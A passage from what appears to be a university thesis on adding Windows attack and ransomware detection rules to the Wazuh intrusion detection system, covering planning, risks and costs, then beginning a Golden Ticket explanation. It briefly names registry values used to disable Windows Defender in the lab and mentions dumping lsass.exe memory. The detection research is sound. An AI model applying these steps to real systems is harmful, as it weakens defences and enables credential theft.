The essential increments to the project are:
• Increment 1: Common attacks in Windows Server.
• Increment 2: Use of more data sources that are not built-in in a standard
system installation, like Sysmon. By itself having more data does not mean
more attack detection, but certain attacks could not be identified without
them.
• Increment 3: Detection/action against ransomware.
These were chosen because they seem the most straightforward and Wazuh needs
tangible security measures against common threats, which seems to be were
Wazuh lacks the most right now.
The rest of the increments are considered optional and can be removed if there
is not enough time left. The order is based on the estimation of the relevance of
the increment for Wazuh and our project.
• Increment 4: Adapt Wazuh configuration to typical requirements from en-
terprises. This is considered a very important increment because it could
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be a selling point for some enterprises, that probably do not want the same
level of security for all their computers and the time to set it up (or at least
from scratch). There is a chance that something like this already exists and
can be used instead of manually writing configuration profiles and scripts.
For example Wazuh supports integration with OpenScap, an open source
security compliance to manage configuration and tools.
• Increment 5: Explore solutions in problems with GPDR. Tarlogic stated
that it would be nice to have it.
• Increment 6: Additional detection for GNU/Linux. This could have more
or less the same impact as increment 1 for some clients, but Tarlogic was
more interested in Windows and Wazuh seems to be more oriented towards
GNU/Linux, therefore needing it less.
• Increment 7: VirusTotal integration. The problem with this increment
is that VirusTotal’s public API key has more limited features and has a
4 requests/minute limitation[34]. We assume the use of a public API key
because it would fit the profile of a client using Wazuh, which has no charge.
Also the exploration on this increment could not really be considered more
than a patch to Wazuh, without really improving it, but still it would be
an effective workaround for the problems we can not solve right now with
only Wazuh.
4.1.5 Products of the project
At the end of the project the next elements will be delivered to the client:
• The memory of the project (this very document).
• The code developed.
• The user manual
These products are included in the repository of the memory hosted on Github[24].
4.1.6 Exclusions
As in any project of this kind we had to leave some ideas behind. For example
an interesting way to take advantage from IDS is to set up a honeypot (a false
server just to be compromised) and learn from the intrusions suffered, improving
the defenses (firewall, IPS and IDS) for the real servers.
There are some honeypot implementations that automate (for example with ma-
chine learning) the generation of rules for certain IDSs, but it is not yet a trend
because there are several problems[35][36][37][38]:
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• Experienced attackers have learned to avoid honeypots, because they are
easy to identify due to the low security they have.
• It is not trivial to automate correctly the defense based on the information
of the system, because its state can be very complex (for example due to
more than one attack at the same time).
This automation would be a great solution to the need to manually update the
rules and depending of the case it could even protect against zero-day vulnerabil-
ities. Despite being interesting this was not even included as a possible increment
because of the complexity of the task.
There is also the option to use honeypots only to detect attackers with the ex-
isting rules, without looking for improving them. Normally they are easy to set
up, for example cloning the virtual machine of a server and making it easier to
access, removing critical data and monitoring some kind of bait for the attacker.
They are not excluded from this project, but they are not explicitly set to be part
of an increment; they will be used if they turn out to be useful in some regard.
There is always a risk of an intrusion disabling the security of the system and
there is no way to guarantee that it will not happen. In this case the attacker
would have to somehow not be detected or cut the IDS before it sends the alert
but in a way that is not suspicious (for example shutting it down completely
would be obvious for a central manager). Our approach is to trust the IDS and
work on improving the detection of known attacks instead working in the worst
case scenario.
Exploring a HIDS with behaviour analysis was also considered but rejected be-
cause it is more fit for a network approach. Still it is a shame because of their
protection against many zero-day attacks.
We focus on a host approach, leaving aside most of the detection capabilities
for the network. This means less detection, a lower detection rate, less options to
improve the detection process and worse performance in the analysis of network
traffic. Having chosen to focus on HIDS the best way to have also a good NIDS
process would be the use of a NIDS along with our HIDS.
Wazuh offers this kind of integration with Bro and Suricata and probably it would
be possible to extend it to other NIDSs like Snort, but this was not a priority for
the client.
For Windows systems monitoring registry changes could be explored in the same
way we study events in this project. Wazuh can detect changes in the registry
as it does with other files: registering its hashes and checking for changes pe-
riodically. Windows has audit options for registry, which generate events that
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allow to monitor it with Wazuh. Sysmon also has events for the registry changes:
creation, deletion, renaming and value modification. Because of the lack of time
and experience this idea was left behind for most of the project, leaving aside a
minor part in the third increment.
YARA is very interesting for this kind of project, because it provides the ability
to scan the memory for signatures. The problem for using it with Wazuh cur-
rently is that it belongs to the Virustotal pack of malware detection tools, so it
could be used with Wazuh with a Virustotal API key, but the free version of the
API key only allows a few queries (the option of getting a premium key was not
considered).
There has been for months an open issue in the Github page of Wazuh for inte-
grating it with YARA (as other IDSs have done before). This integration would
allow unlimited use of YARA scans. The issue has recently evolved to an issue to
integrate YARA into Wazuh as a module[39]. Unfortunately this was not done
before the first increment of the project was completed, so there was no chance
to use it in the project.
Sigma[40] is a project that maintains a Generic Signature Format for SIEM Sys-
tems. This means a set of files describing threats and relevant information about
them, like signatures and false positives. An automated integration with Sigma
would also be possible with a script to convert Sigma rules to OSSEC, which was
not even considered because it falls out the scope. It could be been used in some
parts of this project as a manual resource to find patterns to look for, but in the
end was not necessary.
Another idea that was left behind was to assure the protection of the Wazuh
agent itself in case of attack. This would cover the detection of processes at-
tempting to stop or modify the agent program or the data sent to the manager.
This can also be applied to other actions like disabling logs and modifying set-
tings or security policies. It is interesting for the project because it would be one
of the first and most effective steps that a smart attacker would do to avoid being
detected. This issue was raised in the initial meeting with Tarlogic but was not
considered a priority, therefore it was not included in the requirements.
4.1.7 Restrictions
Leaving aside the time constraint of ∼400 hours, the two main factors to decide
what improvements to choose for this project are a student without experience
in professional cybersecurity and that we want some kind of immediate results
from this project. This is why instead of a pure research project (for example
machine learning with IDS), we opted for a more traditional and safer approach.
Because of this most of the increments were optional (due to the high probability
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of initial scope being too ambitious), but the first increments are considered vital
to the project.
A minor restriction is to deliver correctly all the products of the project before
the presentation date.
4.2 Risk management
Risk management can be summarized as a group of processes whose objective is
to avoid undesirable or unexpected situations for the duration of the project.
The management of the risks of the project has the next steps:
• Risk metrics: A short clarification of how to estimate the probability,
impact and exposition of risks.
• Risk identification: Analysis to identify the risks that can affect the
project. This was performed by brainstorming and reviewing the list of
identified risks.
• Risk analysis and planning: All the risks are analyzed, setting their
properties (probability, impact, indicator, etc). Also prevention and/or
correction measures for each risk are planned in case they take place. Pre-
vention measures are optional and deployed before the risk happens, while
correction measures are mandatory and used after a risk triggers. There
are three types of measures:
– Avoid : They attempt to negate the occurrence or progression of the
risk. It only makes sense for them to be in prevention.
– Mitigation: The impact is reduced. They can be for either prevention
or correction. In the case of correction they are known as contingency
too.
– Transference: Another entity takes care of the problem. In this project
this almost never applies because there are no third-party involved to
rely responsibility on, except in very specific cases.
4.2.1 Risk metrics
The values of probability and impact are estimations made by the student, based
on his current experience (without any further study or references).
To ease their management they are classified into Low, Medium or High, depend-
ing on their values as the next two tables show:
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Chances of the risk happening Probability
≥80% High
Between 30% and 80% Medium
≤30% Low
Table 4.1: Probability classification of risks
Resource in Place / Effort / Cost Impact
≥20% High
Between 10% and 20% Medium
≤10% Low
Table 4.2: Impact classification of risks
The calculation of the exposition is provided by the next table, based on the





High High High Medium
Medium High Medium Low
Low Medium Low Low
Table 4.3: Method of calculation of exposition based on probability and impact
4.2.2 Risk identification
The next table shows the list of identified risks of the project.
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Identifier Name
R-01 Optimistic planning, “best case”, instead of a realistic “expected
case”
R-02 Bad requirement specification
R-03 Design errors
R-04 Lack of key information from sources
R-05 Lack of feedback or support from the security consultants from
Tarlogic
R-06 The learning curve of some technologies is larger than expected
R-07 The uncertain parts of the project take more time than expected
R-08 Source material is not available
R-09 Unexpected changes to any of the software used in the project
R-10 Loss of work
R-11 Wrong management of the project’s configuration
R-12 A delay in one task leads to cascading delays in the dependent tasks
R-13 The student can not find a way to code the detection of a certain
occurrence
R-14 The quality of the product is not enough
R-15 Sickness or overwork
R-16 Performance issues
R-17 Unnecessary work
R-18 Optional requirements delay the project
R-19 Unexpected personal events delay the project
Table 4.4: List of the risks of the project
4.2.3 Risk analysis and planning
An analysis on the risks previously identified was made. The next tables list the
risks with their basic data, estimations, contingency and prevention measures
when possible.
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Identifier R-01
Name Optimistic planning, “best case”, instead of a realistic “expected
case”
Description An optimistic planning at the start of the project does not take




Could mean the failure of the project if the objectives can not
be accomplished in the time left.





Indicator There are 3 consecutive delays, after the beginning of the project.
Prevention:
Avoid
Allocate a bit more time than initially expected for each task, in




Reduce the scope of the project, leaving out initially planned
optional increments.
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Identifier R-02
Name Bad requirement specification
Description The requirements specified at the beginning of the project are not
enough detailed, are not needed or there are new requirements
after the beginning of the project.
Negative
effects
Possible failure of the project if the objectives can not be accom-
plished in the time left.





Indicator There are 3 changes in the requirements specification.
Prevention:
Mitigate
Confirm that all the requirements have been identified at the be-
ginning of the project.




Redo the requirement specification.
Rework of related requirements and work based on them, includ-
ing the need to test the results.
Redo the planning.
Reduce the scope of the project.
Identifier R-03
Name Design errors
Description A design is not enough or is incorrect.
This can be found in later stages, when it is clear that the im-










Indicator There are 3 designs that need rework.
Prevention:
Mitigate
Use design patterns if needed (this project should have very sim-
ple designs, so it is possible that there is no need to use them).
Make the design as simple and modular as possible.
Correction:
Mitigate
Redesign and probably change and test the work based on the
design.
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Identifier R-04
Name Lack of key information from sources






Added difficulty, even if the work is done in time.
Maybe rework and test the functionality, even completely, to




Indicator The duration of the study of the attack and the related tools
ends being 50% longer than expected.
Correction:
Mitigate
Ask the security consultants from Tarlogic for specific informa-
tion.
Possibly the need to rework completely some functionality.
Identifier R-05
Name Lack of feedback or support from the security consultants from
Tarlogic
Description Because I do not know enough about some technical aspects of
cybersecurity to solve all the problems by myself in time, Tarlogic
has offered to help (in a tutoring way) if a problem arises.
This help could be critical to solve or get around some of the most
complex problems, which probably happen to be critical points,







Indicator A simple technical question takes more than 2 working days to




Ask in a clear way and with as many details as possible.
Ask during work hours, to ensure they are available.
Correction:
Mitigate
Redo planning and possibly change the scope.
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Identifier R-06
Name The learning curve of some technologies is larger than expected
Description This is a critical need because not having enough knowledge can












Redo planning and possibly change the scope.
Ask the security consultants from Tarlogic for specific help.
Maybe the need to rework completely some functionality.
Identifier R-07
Name The uncertain parts of the project take more time than expected
Description There is not enough specification on what a tasks implies or not
enough planning.
This means that a part of the project is not understood as it
should, and the work done is not what was expected or is not
enough, needing more time to finish.
Negative
effects
Wasted time that should have been easy to avoid.
Loss of quality.
Could mean the failure of the project if the objectives can not




Indicator A task takes 25% more time than expected and when the causes




Try to detail every part enough, having no obvious ambiguity.
Correction:
Mitigate
Possible need to redo the specifications.
Redo planning and possibly change the scope.
Maybe having to redo related work.
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Identifier R-08
Name Source material is not available
Description All or part of the source material can not be accessed, probably
because the only host of the resource is down.
Negative
effects
In some cases this could mean a delay in a critical task, delaying




Indicator There have been at least 10 failed attempts to download the
source material, at least 5 with a computer A in a network X
and at least 5 with a computer B in a network Y.
Prevention:
Avoid
When possible choose the source with the best uptime.
Correction:
Mitigate
Redo planning and possibly change the scope.
Possible need to cut out the part of the project that depends on
this source.
Maybe find another source or wait for the original source to be
accessible again.
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Identifier R-09
Name Unexpected changes to any of the software used in the project
Description Changes to base software could affect this project directly or
indirectly: programs could fail or not work as expected.
This could mean any software changes, from simple syntax to
API changes.
It is possible that these changes would eliminate the need of
planned or already done work.
In a project that does not work in a bleeding edge environment,
like this, this occurrence should be very rare and even if it were
to happen it would have to interfere with the part of the software
this project uses, which (as this is not bleeding edge) normally












When possible use software that follow good design guidelines
and try to be backwards compatible.




Need to adapt the software to work as expected or remove the
related functionalities.
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Identifier R-10
Name Loss of work
Description Due to a bad configuration management or something else, there
is a loss of work related to this project.
Negative
effects
Need to do again the work already done but lost.
Depending of the time needed to recover the work, there could
be minor or very big delays, planning, changes to the scope of








Take snapshots of the relevant virtual machines when significant
changes are made and copy them to an external disk.
Backup in some way (automated or manual) the configuration
elements, including pushing commits to the Github repository.
Correction:
Mitigate
Recover the last backup available of the work.
If needed work even outside schedule and in holidays.
Identifier R-11
Name Wrong management of the project’s configuration
Description The project’s configuration is inefficient or lacks work.




Maybe the failure of the project if the objectives can not be ac-
complished in the time left.
Possibly wrong baselines or identification of the configuration el-
ements.
It could take more time than expected to manage the project.
The project suffers delays because of the need to redo manage-




Indicator There are 3 delays because of the configuration of the project.
Prevention:
Avoid
The configuration of the project should be just complex enough
(without ambiguity, to ensure a proper management), but not
too much complex (which would be hard to follow).
Use of familiar and standard tools, like Git.
Optionally use an easier to manage life cycle.
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Identifier R-12
Name A delay in one task leads to cascading delays in the dependent
tasks
Description A task gets delayed and one or more tasks depend on its com-











When planning, avoid task dependencies whenever possible.
Optionally use a life cycle based on increments.
Correction:
Mitigate
Redo planning and possibly change the scope.
Identifier R-13
Name The student can not find a way to code the detection of a certain
occurrence
Description It could be that the knowledge of the student is too limited or
the problem is too difficult for this kind of project.

















Ask the security consultants from Tarlogic for help.
Demonstrate that it is possible to detect it.
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Identifier R-14
Name The quality of the product is not enough




The incorporation to the official repository gets rejected.
Redo planning and possibly change the scope.












Need to redo and test work.
Pass some kind of quality control.
Identifier R-15
Name Sickness or overwork




Probably the quality of the project drops.
Possibly delays, that could be hard to estimate.
Analysis of the changes needed to improve the quality.








Stay healthy by following a regular schedule for work and exer-
cising, that includes multiple rest periods.
Optionally maintain a diet.
Correction:
Mitigate
Go to the doctor and follow any instructions to improve the re-
covery.
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Identifier R-16
Name Performance issues
Description The program is too heavy for the environment and takes too
much resources, because there are not good enough optimizations







Indicator The program takes 30% more resources than expected at the
beginning of the project.
Prevention:
Mitigate
If possible use efficient algorithms and check the efficiency after
the testing is done for each increment.
Correction:
Mitigate
Analysis of faster ways to solve the problem.
Code and test a faster solution.
Identifier R-17
Name Unnecessary work
Description Resources are wasted in work that latter is not used.
This could happen because multiple reasons, like wrong assump-











In the design stage make sure that everything is really needed.
Correction:
Mitigate
Evaluate again if the work planned is really needed.
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Identifier R-18
Name Optional requirements delay the project
Description Optional requirements get too much time or are treated as vital.
Negative
effects
The task related to these requirements get too much resources.





Indicator There is at least one functionality from an optional requirement,
when the project is behind schedule and there are vital require-
ments not yet accomplished.
Prevention:
Avoid
The optional requirements are planned as optional: they are only





Name Unexpected personal events delay the project
Description There are unplanned occurrences that need considerable time
from the student, for example family matters.
Negative
effects
Time loss, resulting in a quality drop and possibly in a smaller
scope.
It can be hard to specify when the event will end, resulting in
uncertainty and the failure of the project in the worst case sce-
nario.





Indicator The student stops working on the project for more than 2 planned
weeks, to attend personal matters.
Prevention:
Avoid




Use personal time like holidays and weekends to work on the
project to compensate. In extreme cases the project may be put
on hold or even fail.
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4.3 Time management
4.3.1 WBS
The Work Breakdown Structure is a decomposition of the project into tasks,
smaller components that provide a brief description. In other words it is a hier-
archical representation of the main tasks to be done by the student and it also
serves as the base for the planning. This WBS was made before the start at
the project, for the draft proposal and does not represent the final state of the
project.






Closing of the project
Project documentation
Pull request to the official ruleset
repository
Increment 7: VirusTotal integration Improved integration with an-
tivirus and website scanners
Increment 6: Additional detection for
GNU/Linux
Rules and decoders
Increment 5: Explore solutions in prob-
lems with GPDR
Rules and decoders
Increment 4: Adapt Wazuh configura-
tion to typical requirements from enter-
prises
Configuration changes
Increment 3: Detection/action against
ransomware
Rules and decoders
Increment 2: Use of more data sources Rules and decoders
Increment 1: Common attacks in Win-
dows Server
Rules and decoders
Beginning of the project
Setup of the work environment
Study of Wazuh documentation











a Scope management: Scope explanation, set the restrictions of the
project and determine what is going to be turned in at the end of the
project.
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b Requirement management: Analysis, requirement specification and
probably a traceability matrix.
c Risk management: Identification, analysis, classification, planning
and supervision of risks.
d Time management: Planning (initial and real), any planning changes
and necessary measures.
e Configuration management: Documentation on the management
of changes and version control.
f Cost management: Cost estimation (direct and indirect) of soft-
ware, hardware and resources.
2. Beginning of the project
a Study of Wazuh documentation and related tools and tech-
nologies: It is the base for multiple aspects of the project and if it is
done correctly it can mean less hours in related work.
b Setup of the work environment: Installation and basic configu-
ration of the virtual machines of the project, like having a functional
Wazuh environment.
3. Increment 1, Rules and decoders: The objective is to be able to detect
common attacks in Windows Server (specifically 2016 and 2019), but it
should be backwards compatible and depending on the difficulty it could
be worth to ensure support for Windows 10 Pro too. This rules are the
final product of this increment, which probably will need more time than
any other increment, because of its heavy study and testing.
4. Increment 2, Rules and decoders: It will need a preliminary study
of Sysmon and the ways to use its data to improve detection in certain
situations. It is possible that this increment will modify rules and decoders
of the previous one.
5. Increment 3, Rules and decoders: This increment tries to produce rules
and decoders to detect ransomware and launch alerts and maybe actions
against the attack, like rollback to a previous backup or try to stop the
attack from repeating in a short period of time.
6. Increment 4, Configuration changes: Adapt Wazuh to the typical re-
quirements from enterprises. This means that an enterprise could choose
from a set of templates, with different security profiles.
7. Increment 5, Rules and decoders: It should be focused mostly on
detecting changes on the protected files. Part of this increment should
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be the investigation on usual problems of these technologies and recent
innovations and solutions.
8. Increment 6, Rules and decoders: There would be preliminary study
to do, but the increment should be about expanding the already done work
in the field, probably focusing in services and security technologies like
SELinux or AppArmor.
9. Increment 7, Improved integration with antivirus and website
scanners: The idea is to improve the detection as much as possible with
the help of VirusTotal malware scanners, which is updated consistently
and so it would mean a consistently updated detection for a system with
Wazuh without the need to write new rules and decoders. Obviously there
is a difference in the scope and objectives of these technologies, which can
be redundant, but this could be certainly interesting in some cases.
10. Closing of the project
a Pull request to the official ruleset repository: There is a fun-
damental need to investigate the correct way to organize the forked
repository for a pull request to an official repository like this. In any
case the status of the fork should be checked before and there should
be a high amount of commits and use a different branch for each func-
tionality, allowing an easier way to select what to admit or not in the
official repository.
b Project documentation: The memory and presentation of the project
and whatever other documentation if necessary.
4.3.2 Initial planning
The date of the beginning of the project is the 1 of November.
The tasks marked in red are essential to the project, meanwhile the ones marked
in cyan are considered optional and only will be done if there is enough time
left. The tasks marked in yellow are used when there is no need to distinguish
between essential and optional.
The next Gantt diagram shows the initial planning, from the draft proposal
(31/10/2018) to the end of the project (20/02/2019).
Furthermore the last two weeks are marked with a grey overlay to mark that
there are only about 17 weeks before the original due date of this project (in
February). This difference is because the estimation of the tasks was made by
the student and so it is not reliable, which means that it could be optimistic or
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pessimist. Thus the need to either reduce tasks or have more than there were
expected to fit.
Planning of the project in weeks
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
Project management








Closing of the project
Figure 4.1: Planning simplification
The rest of the Gantt diagrams are organized in days, for a more detailed plan-
ning.
It is important to note that these plannings could change during the project,
either because controlled measures or any unexpected reason.
The order they are implemented could change too and that is the reason because
these diagrams have not a set date for start and end.
In other words, they could be described as the models for the final Gantt dia-
grams.
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Planning in days
1 2 3 4 5 6 7
Preliminary study and investigation
Wazuh documentation
Pentesting tools




Setting up other tools
Ready to start the first increment
Figure 4.2: Planning of the beginning of the project
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Planning in days
1 2 3 4 5 6 7 8 9 10111213141516171819202122232425262728
Preliminary study and investigation
Identify the attacks to detect
Detailed study of each attack
Detailed study related tools
Exploration of detection options
Discard undetectable attacks
Basic design of each attack
Code the detection
Writing rules and decoders
Automation of actions




Certain attacks can be detected now
Figure 4.3: Planning of the increment 1: Common attacks in Windows Server
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Planning in days
1 2 3 4 5 6 7
Preliminary study and investigation
Detection advantages with Sysmon
Identify the cases to change
Identify the attacks that can be detected now
Code the detection
Changing rules and decoders




Improved detection using data from Sysmon
Figure 4.4: Planning of the increment 2: Use of more data sources
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Planning in days
1 2 3 4 5 6 7 8 9 101112131415161718192021
Preliminary study and investigation
Identify the attacks to detect
Detailed study of each attack
Detailed study related tools
Exploration of detection options
Discard undetectable attacks
Basic design of each attack
Code the detection





Protection against certain ransomware attacks
Figure 4.5: Planning of the increment 3: Detection/action against ransomware
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Planning in days
1 2 3 4 5 6 7
Preliminary study and investigation
Find out common needs for enterprises
Identify reasonable configurations
Code the detection




Set of Wazuh configurations
Figure 4.6: Planning of the increment 4: Adapt Wazuh configuration to typical
requirements from enterprises
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Planning in days
1 2 3 4 5 6 7 8 9 101112131415161718192021
Preliminary study and investigation
Identify the situations to detect
Detailed study of each case
Detailed study related tools
Exploration of detection options
Discard undetectable cases
Basic design of each case
Code the detection





Protection for certain GPDR problems
Figure 4.7: Planning of the increment 5: Explore solutions in problems with
GPDR
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Planning in days
1 2 3 4 5 6 7 8 9 10 11 12 13 14
Preliminary study and investigation
Identify the attacks to detect
Detailed study of each attack
Detailed study related tools
Exploration of detection options
Discard undetectable cases
Basic design of each attack
Code the detection





Certain attacks can be detected now
Figure 4.8: Planning of the increment 6: Additional detection for GNU/Linux
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Planning in days
1 2 3 4 5 6 7 8 9 10 11 12 13 14
Preliminary study and investigation
Malware detection techniques with VirusTotal
Wazuh documentation on VirusTotal integration
Modifications needed






Detection based on VirusTotal
Figure 4.9: Planning of the increment 7: VirusTotal integration
4.3.3 Real development
This part is constituted from the risk supervision and Gantt diagrams. They
describe the reasons behind the deviation from the original planning and how the
project was really implemented.
Risk supervision
Risk supervision describes the risks triggered during the duration of the project
and how they were dealt with, ordered by their start date. The New probability,
impact, exposition or measures are omitted if they are the same as their previous
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values.
Identifier R-19
Name Unexpected personal events delay the
project
Date of the beginning of the problem 05/12/2018
Date of the solution of the problem 10/02/2019
Actions After a delay of 2 weeks it was clear
that the student could not meet the
original planning, or at least without
rushing and suffering significant qual-
ity loss.
The project was put on hold and the
student notified the tutors, who agreed
to the next deadline.
The student kept working on the
project (researching) from time to
time.
New probability Low (before was Medium)
New exposition Medium (before was High)
New correction: Transference Another person took charge of the
problem until it disappeared, freeing
the student.
Identifier R-10
Name Loss of work
Date of the beginning of the problem 26/02/2019
Date of the solution of the problem 26/02/2019
Actions A general power failure in Santiago
caused a sudden shutdown of the com-
puter the student was working on.
Fortunately the only work lost was up-
grading the software on the virtual ma-
chine hosting the Wazuh server, which
was reproduced by restoring the last
snapshot and repeating the process.
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Identifier R-09
Name Unexpected changes to any of the soft-
ware used in the project
Date of the beginning of the problem 01/03/2019
Date of the solution of the problem 01/03/2019
Actions The Kibana plugin and Wazuh had a
mismatch for their versions, resulting
in the plugin not working.
The plugin and Wazuh were upgraded
to their latest versions.
Identifier R-19
Name Unexpected personal events delay the
project
Date of the beginning of the problem 05/05/2019
Date of the solution of the problem 19/05/2019
Actions The project was put on hold for 2
weeks while the student was taking
care of a family member.
Identifier R-04
Name Lack of key information from sources
Date of the beginning of the problem 30/05/2019
Date of the solution of the problem 03/06/2019
Actions The members of Tarlogic involved with
the project were asked about very pre-
cise details on dumping the memory of
the process lsass.exe.
Gantt diagrams
Due to changes on the scope and a 3 month delay due to personal matters of
the student there is a big difference with the initial planning. This caused the
project to be finished in July instead of February as it was initially planned.
At first the rules and decoders developed in the project were supposed to be
updated in a pull request to the repository of the Wazuh ruleset at the end of
the project. But when the end of the project was near it was clear that this did
not make sense any more due to these rules being too few and for very specific
detections.
Increment 2 was mixed into increment 1. These increments that were planned
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to be implemented individually were actually done together because the second
is easier than expected and the first can not be done without the second (more
on 5.1.3). Therefore from now on this document refers to them as a couple of
increments to avoid more confusion, but they could also be seen as one.
2018 2019
NovemberDecember January February March April May June July
Project management
Increment 1 and 2
Beginning of the project
Increment 1 and 2
Project on hold
Updating tools
Increment 1 and 2
Two weeks pause
Increment 1 and 2
Increment 3
Closing of the project
Figure 4.10: Planning simplification
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November
01 02 03 04 05 06 07
Preliminary study and investigation
Wazuh documentation
Pentesting tools




Setting up other tools
Ready to start the first increment
Figure 4.11: Planning of the beginning of the project
This was not planned beforehand but it seemed like a good idea to leave some
time to investigate exactly what did change while the project was on hold. Also
a new setup of critical installations, because the documentation of the process
before was lacking in details slightly.
The Kibana plugin for Wazuh stopped working because there was a version mis-
match with the installed version of Wazuh. Even though it was not critical it
was fixed as soon as it was noticed.
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February
25 26 27 28
Check changes from last working setup
Wazuh documentation and tools used in the project
Known and new attacks
Basic knowledge of the changes
Installing virtual machines and setting up tools
Ready to continue with the increments
Figure 4.12: Planning of updating the tools of the project
Increments 1 and 2 were worked on for most of the project, mainly due to inex-
perience and unplanned events more than the actual difficulty of their content.
The next Gantt shows the work done on them after the project was on hold for
3 months, because before it only research was done. After 3 months most of the
research was redone to ensure nothing was forgotten.
The tasks initially planned for increment 2 were so small and integrated into
already existing tasks for increment 1 that it made no sense to add them to this
Gantt.
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June July
Preliminary research and codification
Study of ransomware
Codification of the basic file encryption example
Exploration and codification of detection options
Testing and fixing
Testing and fixing the detection mechanisms
Testing with real ransomware
Detection/action against certain ransomware patterns
Figure 4.14: Planning of the increment 3: Detection/action against ransomware
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July
19 20 21 22 23
Finishing the documentation of the project
Cost management and detail fixing
Review of the memory by the tutors
The documentation of the project is finished
Figure 4.15: Planning of the closing of the project
4.4 Configuration management
The objective of the management of the configuration is to control the changes
on the configuration elements, for the duration of the project. This assures the
work is always archived, resulting in multiple control advantages.
A Git repository[24] hosted on Github was used to manage the documentation of
the project, which revolves mostly around this document. Another private Git
repository was used to keep track of notes, uncertain elements and development
in process.
Git commits are used to keep track of the changes made in the documentation.
Issues, milestones, releases and other features were not used, but they could be
if any need appeared. There is only the master branch, because this project is
not about software development and there is only one contributor.
4.4.1 Configuration elements
They are the items that need to be monitored in order to guarantee the consis-
tency of the project. They can be grouped into:
• Code: The scripts and ruleset elements created in the project.
• Diagrams and images: They help to explain some of the key concepts of
the project.
72 CHAPTER 4. PROJECT MANAGEMENT
• Memory of the project: This very document. It is mandatory because
it explains the whole project. This item actually makes use of the other
two, to fully document the project.
This does not include the virtual machines nor its snapshots because by them-
selves they are not configuration material, but a result of applying certain con-
figuration over generic images of operative systems. This configuration is already
documented by other sources, cited in this document. Still local backups were
made because they are still important archives to the project.
4.5 Cost management
In this section an estimation of the costs of the project is made based on the
relevant data available at the end of the project.
The project is set in Spain, therefore the currency used is the Euro (e). This is
used up to a precision of cents.
Even though Tarlogic is considered the client there is no payment to the student
because this is the final project of a degree.
The costs were divided into direct costs and indirect costs.
4.5.1 Direct costs
All the software used in the project was free, including the Windows images (they
were free trials).
Other materials are the CD to burn the software of the project and the ver-
sion of this document in paper. Their combined cost is estimated in 20e.
The rest of the direct costs are the human and hardware resources.
Human resources
The human resources are the student, the director from the University, the di-
rector from Tarlogic and two members of Tarlogic that helped the student with
issues at several points in the project.
The next salary parameters are assumed:
• There are 14 payments per year.
• Social Security costs 32% of the brute salary.
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• The job journey is 8 hours of work per day and there are 20 working days
per month.
The estimation of the hours that the student worked on the project comes from:
• The worked time while the project was on hold is zero.
• In the first weeks of the project the the estimation of hours worked per
week is 21. The project started the day 1 of November and was put on hold
35 days later.
• After returning to work on the project on the 25 of February the estimation
of hours worked per week is 11, and lasted for 68 days until the project was
on hold for two weeks.
• In the last stage of the project the estimation of hours worked per week
is 21 again. This lasted 65 days, from the 20 of May until the end of the
project.
Therefore the estimation is: (35 + 65) · 21/7 + 68 · 11/7 + 11.25 = 418.10 hours.
The estimation of the hours that the directors and the involved members of
Tarlogic is 11.25hours. This value is the usual estimation of hours for tutoring
and evaluation.
The annual brute income for the job titles are taken from the website Indeed [41],
which calculates the average of hundreds of job offers in the last months. In the
case of the student the salary was an optimistic value.
The job title assumed for the student is Junior Developer. The job title assumed
for the directors is Project Manager. The Project Manager has 22.5hours because
this project has 2 directors.
Role Brute annual Social Security Total annual Cost/Hour
Project Manager 45448e 14543.36e 59991.36e 26.78e
Senior Engineer
in Cybersecurity
29754e 9521.28e 39275.28e 17.53e
System Admin-
istrator
24234e 7754.88e 31988.88e 14.28e
Junior Devel-
oper
16000e 5120e 21120e 9.42e
Table 4.5: Annual costs of the human resources
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Role Hours Cost/Hour Total cost
Project Manager 22.5 26.78e 602.55e
Senior engineer in cybersecurity 11.25 17.53e 197.21e
System administrator 11.25 14.28e 160.65e
Junior Developer 418 9.42e 3937.56e
Table 4.6: Costs of the human resources for the hours dedicated to the project
The total of the last table is 4897.97e.
Hardware resources
The cost of the hardware is calculated with the amortization and the total price
of the item, with the next formula:
Price of the item
12 ·Duration of the item in years
·Duration of the project in months
Figure 4.16: Formula to calculate the cost of hardware items
In this case it is assumed that the duration of project is 5.5 months, due to the
time the project was on hold. The duration of the hardware items is estimated
in 3-5 years, so the average is used in this case for all the items.
The hardware items are:
• A computer leaning to the higher end in order to run the set of virtual
machines: with 20 GB of RAM, an i5-2500k processor and about 500GB of
free disk storage (of which 100GB were of Solid State Disk). The estimation
of the computer is hard to make because it is several years old and made
of parts buyed years apart from each other. The value estimated is 1250e,
therefore resulting in a cost of 143.23e.
• A monitor of 24 inches valued in 147.75e last year. Using the previous
formula the cost is 16.93e.
• Other peripheral devices: their collective value is estimated in 20e, there-
fore resulting in a cost of 2.23e.
The total of the hardware cost is 162.39e.
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4.5.2 Indirect costs
The indirect costs of the project mean hidden costs in the resources used. For
example the cost of the Internet connection, electrical devices, etc.
According to the General Secretary of the University of Santiago de Compostela
the indirect costs in this kind of final degree project should be calculated as an
extra 20% of the direct costs[42].
Because the estimation of the direct costs is 5060.36e, the indirect costs adds
1012.07e over it.
4.5.3 Total costs of the project
The total costs is calculated simply by the addition of direct and indirect costs,
resulting in 6072.43e.
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Chapter 5
Increments 1 and 2
The title of these increments are Common attacks in Windows Server and Use
of more data sources. Due to reasons stated later in 5.1.3 these increments that
were planned to be implemented individually were actually done together. This
chapter satisfies the next non-functional requirements: RNF-01, RNF-02, RNF-
03, RNF-04, RNF-05 and RNF-08.
In order to understand and detect the malware we try to put ourselves in the
attacker place, in some cases using scripts and tools that can be considered harm-
ful and illegal. This is only a way to accomplish the real objective that is the
detection. This behaviour is kept to a minimum, it is only done in the machines
of this laboratory and no kind of harm is intended outside of this project.
In this laboratory we disabled the antivirus and Windows Defender to avoid un-
necessary delays. Particularly the DisableAntiSpyware and DisableRealTimeM-
onitoring were enabled in the registry. Our intention is to detect as much as
possible without depending on other programs, and in this increment Windows
Defender was not needed.
As this chapter progresses new detection methods are introduced that could be
of use in some of the previous cases. Usually this is not mentioned, in order to
keep the explanations simple.
5.1 Golden Ticket
Windows domains are a very common way to manage network accounts in compa-
nies. The servers of this kind of domain are Domain Controllers and the program
that handles the domain directory is the Active Directory. The Domain Con-
troller (DC) runs the Key Distribution Center (KDC), which handles Kerberos
ticket requests, which are used to authenticate users and allow access to services
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(for example login).
The KRBTGT account is the equivalent of a super-administrator account for
Kerberos. It is used to encrypt and sign all Kerberos tickets within a domain,
so DCs use the account password to decrypt Kerberos tickets for validation. By
default this account password never changes and the account name is the same
in every domain[43].
